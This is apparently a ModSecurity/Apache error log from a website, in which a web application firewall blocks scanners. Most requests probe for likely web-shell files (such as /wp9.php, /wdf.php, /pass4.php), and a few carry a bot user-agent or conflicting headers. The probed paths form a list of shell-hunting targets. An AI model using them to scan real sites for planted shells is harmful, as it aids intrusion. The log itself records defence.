[Sun Mar 01 10:07:28.893831 2026] [:error] [pid 33767:tid 33774] [client 51.83.101.126:60524] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaOfYEGyeKe3MWsxvBgAVwAAAgQ"]
[Sun Mar 01 10:07:31.413596 2026] [:error] [pid 21263:tid 21287] [client 51.83.101.126:60528] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaOfY9AxjzLvN1upBhkLVgAAANQ"]
[Sun Mar 01 10:07:33.920014 2026] [:error] [pid 21263:tid 21287] [client 51.83.101.126:60540] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaOfZdAxjzLvN1upBhkLZAAAANQ"]
[Sun Mar 01 10:07:36.685886 2026] [:error] [pid 21263:tid 21289] [client 51.83.101.126:39364] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaOfaNAxjzLvN1upBhkLagAAANY"]
[Sun Mar 01 10:51:32.810461 2026] [:error] [pid 33229:tid 33240] [client 43.165.65.75:41658] [client 43.165.65.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaOptHzT4c9ddlGE6FxMIQAAAYk"]
[Sun Mar 01 11:56:06.378187 2026] [:error] [pid 33229:tid 33231] [client 43.158.91.71:40060] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaO41nzT4c9ddlGE6FxigQAAAYA"]
[Sun Mar 01 14:10:15.994781 2026] [:error] [pid 44644:tid 44670] [client 121.229.185.160:44712] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaPYR53RJaXMcw3y9V9c0gAAABc"]
[Sun Mar 01 14:29:33.122542 2026] [:error] [pid 44644:tid 44650] [client 62.60.131.218:59331] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaPczZ3RJaXMcw3y9V9vUgAAAAM"]
[Sun Mar 01 15:56:58.263342 2026] [:error] [pid 44644:tid 44663] [client 4.204.200.32:18418] [client 4.204.200.32] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "91.224.92.182_fc87b2f07c9b119603870e8d8ec4945c757b126e"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/sys.php"] [unique_id "aaPxR53RJaXMcw3y9V-yowAAABA"]
[Sun Mar 01 15:56:59.134951 2026] [:error] [pid 44644:tid 44661] [client 4.204.200.32:18418] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaPxS53RJaXMcw3y9V-yugAAAA4"]
[Sun Mar 01 15:56:59.552506 2026] [:error] [pid 7165:tid 7170] [client 4.204.200.32:18369] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaPxSxRjCrA8qWBjgG81qwAAAkM"]
[Sun Mar 01 15:56:59.970447 2026] [:error] [pid 38034:tid 38047] [client 4.204.200.32:18409] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaPxSwxtfZjwlJok9K_J4wAAAQk"]
[Sun Mar 01 15:57:00.390252 2026] [:error] [pid 44644:tid 44650] [client 4.204.200.32:18412] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaPxTJ3RJaXMcw3y9V-ywQAAAAM"]
[Sun Mar 01 15:57:00.808596 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18384] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaPxTAxtfZjwlJok9K_J5gAAAQM"]
[Sun Mar 01 15:57:01.226384 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18385] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaPxTfKRPk6YnJBxw_xbKwAAAM0"]
[Sun Mar 01 15:57:01.647592 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18375] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaPxTQxtfZjwlJok9K_J6gAAAQI"]
[Sun Mar 01 15:57:02.064920 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18306] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaPxTvKRPk6YnJBxw_xbLgAAAMU"]
[Sun Mar 01 15:57:02.481161 2026] [:error] [pid 37032:tid 37035] [client 4.204.200.32:18330] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaPxTuu0U4o7eSImsVRO_AAAAYE"]
[Sun Mar 01 15:57:02.893341 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18313] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaPxTvKRPk6YnJBxw_xbMQAAAMg"]
[Sun Mar 01 15:57:03.308368 2026] [:error] [pid 38034:tid 38039] [client 4.204.200.32:18413] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaPxTwxtfZjwlJok9K_J8QAAAQM"]
[Sun Mar 01 15:57:03.725148 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:18341] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaPxTwxtfZjwlJok9K_J8wAAARY"]
[Sun Mar 01 15:57:04.137144 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:18324] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaPxUPKRPk6YnJBxw_xbNwAAANU"]
[Sun Mar 01 15:57:04.549628 2026] [:error] [pid 38034:tid 38047] [client 4.204.200.32:18397] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaPxUAxtfZjwlJok9K_J-QAAAQk"]
[Sun Mar 01 15:57:04.962111 2026] [:error] [pid 38034:tid 38056] [client 4.204.200.32:18307] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaPxUAxtfZjwlJok9K_J_AAAARI"]
[Sun Mar 01 15:57:05.374670 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18430] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaPxUfKRPk6YnJBxw_xbOQAAAME"]
[Sun Mar 01 15:57:05.785304 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18422] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaPxUfKRPk6YnJBxw_xbOwAAAMo"]
[Sun Mar 01 15:57:06.203241 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:18319] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaPxUvKRPk6YnJBxw_xbPAAAANI"]
[Sun Mar 01 15:57:06.617408 2026] [:error] [pid 37032:tid 37046] [client 4.204.200.32:18427] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaPxUuu0U4o7eSImsVRPEwAAAYw"]
[Sun Mar 01 15:57:07.026648 2026] [:error] [pid 38034:tid 38043] [client 4.204.200.32:18408] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaPxUwxtfZjwlJok9K_KOQAAAQU"]
[Sun Mar 01 15:57:07.444225 2026] [:error] [pid 37032:tid 37038] [client 4.204.200.32:18423] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaPxU-u0U4o7eSImsVRPFwAAAYQ"]
[Sun Mar 01 15:57:07.858925 2026] [:error] [pid 40750:tid 40756] [client 4.204.200.32:18389] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaPxUwfBuk03yQKDyqvMOwAAAcM"]
[Sun Mar 01 15:57:08.273210 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18377] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaPxVPKRPk6YnJBxw_xbQwAAAMo"]
[Sun Mar 01 15:57:08.703481 2026] [:error] [pid 38241:tid 38257] [client 4.204.200.32:18370] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaPxVPKRPk6YnJBxw_xbSQAAAM0"]
[Sun Mar 01 15:57:09.128800 2026] [:error] [pid 38241:tid 38261] [client 4.204.200.32:18314] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaPxVfKRPk6YnJBxw_xbTAAAANE"]
[Sun Mar 01 15:57:09.582014 2026] [:error] [pid 7165:tid 7183] [client 4.204.200.32:18410] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaPxVRRjCrA8qWBjgG81vAAAAlA"]
[Sun Mar 01 15:57:10.037840 2026] [:error] [pid 7165:tid 7170] [client 4.204.200.32:18387] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaPxVhRjCrA8qWBjgG81vwAAAkM"]
[Sun Mar 01 15:57:10.450229 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:18368] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaPxVvKRPk6YnJBxw_xbUAAAANU"]
[Sun Mar 01 15:57:10.879187 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:18344] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaPxVhRjCrA8qWBjgG81xgAAAkI"]
[Sun Mar 01 15:57:11.290782 2026] [:error] [pid 7165:tid 7185] [client 4.204.200.32:18366] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaPxVxRjCrA8qWBjgG81ygAAAlI"]
[Sun Mar 01 15:57:11.703408 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:18338] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaPxVxRjCrA8qWBjgG81zAAAAkU"]
[Sun Mar 01 15:57:12.132325 2026] [:error] [pid 7165:tid 7171] [client 4.204.200.32:18392] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaPxWBRjCrA8qWBjgG81zQAAAkQ"]
[Sun Mar 01 15:57:12.547619 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18428] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaPxWPKRPk6YnJBxw_xbWAAAAMQ"]
[Sun Mar 01 15:57:12.967405 2026] [:error] [pid 38241:tid 38260] [client 4.204.200.32:18404] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaPxWPKRPk6YnJBxw_xbXAAAANA"]
[Sun Mar 01 15:57:13.378459 2026] [:error] [pid 44644:tid 44657] [client 4.204.200.32:18371] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaPxWZ3RJaXMcw3y9V-y2AAAAAo"]
[Sun Mar 01 15:57:13.788792 2026] [:error] [pid 41780:tid 41791] [client 4.204.200.32:18394] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaPxWcONkVoocLIqzy0TVAAAA8g"]
[Sun Mar 01 15:57:14.200054 2026] [:error] [pid 44644:tid 44668] [client 4.204.200.32:18318] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaPxWp3RJaXMcw3y9V-y5AAAABU"]
[Sun Mar 01 15:57:14.623901 2026] [:error] [pid 44644:tid 44648] [client 4.204.200.32:18411] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaPxWp3RJaXMcw3y9V-y5wAAAAE"]
[Sun Mar 01 15:57:15.041590 2026] [:error] [pid 44644:tid 44666] [client 4.204.200.32:18323] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaPxW53RJaXMcw3y9V-y6gAAABM"]
[Sun Mar 01 15:57:15.502988 2026] [:error] [pid 44644:tid 44658] [client 4.204.200.32:18360] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaPxW53RJaXMcw3y9V-y7wAAAAs"]
[Sun Mar 01 15:57:15.916242 2026] [:error] [pid 44644:tid 44647] [client 4.204.200.32:18312] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaPxW53RJaXMcw3y9V-y9gAAAAA"]
[Sun Mar 01 15:57:16.336596 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18431] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaPxXAxtfZjwlJok9K_KRwAAAQs"]
[Sun Mar 01 15:57:16.749539 2026] [:error] [pid 44644:tid 44658] [client 4.204.200.32:18326] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaPxXJ3RJaXMcw3y9V-y_AAAAAs"]
[Sun Mar 01 15:57:17.160098 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:18253] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaPxXeu0U4o7eSImsVRPHgAAAZM"]
[Sun Mar 01 15:57:17.577456 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18383] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaPxXfKRPk6YnJBxw_xbYwAAAME"]
[Sun Mar 01 15:57:17.988721 2026] [:error] [pid 42619:tid 42641] [client 4.204.200.32:18379] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaPxXR_zUXcYaZE4AOeWcwAAAVQ"]
